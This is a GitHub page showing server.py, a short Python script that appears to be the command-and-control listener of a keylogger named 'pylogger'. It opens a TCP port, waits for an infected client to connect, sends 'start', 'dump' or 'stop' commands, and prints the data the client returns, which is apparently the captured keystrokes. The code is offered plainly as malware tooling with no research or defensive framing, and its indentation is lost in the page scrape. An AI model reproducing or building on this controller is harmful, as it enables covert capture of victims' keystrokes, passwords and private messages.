-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathserver.py
More file actions
35 lines (32 loc) · 927 Bytes
/
server.py
File metadata and controls
35 lines (32 loc) · 927 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from socket import socket, AF_INET, SOCK_STREAM
from sys import argv, exit
s = socket() #create socket
commands = ['start','dump','stop']
if len(argv) >= 2:
port = int(argv[1])
else:
print('Usage: server.py <port>')
exit()
host = ('', port)
s.bind(host)
s.listen(1)
print('[*]Listening on port %i' % port)
while 1:
try:
c, addr = s.accept()
print('[+]Connection from',addr)
while True:
cmd = input('pylogger@%s# ' %addr[0])
if cmd not in commands:
print('[*]Available commands:')
print('[*] -> start')
print('[*] -> dump')
print('[*] -> stop')
else:
c.send(str.encode(cmd))
cmd = (str(c.recv(1024)).replace("'",""))
print(cmd[1:])
except KeyboardInterrupt:
break
exit()
s.close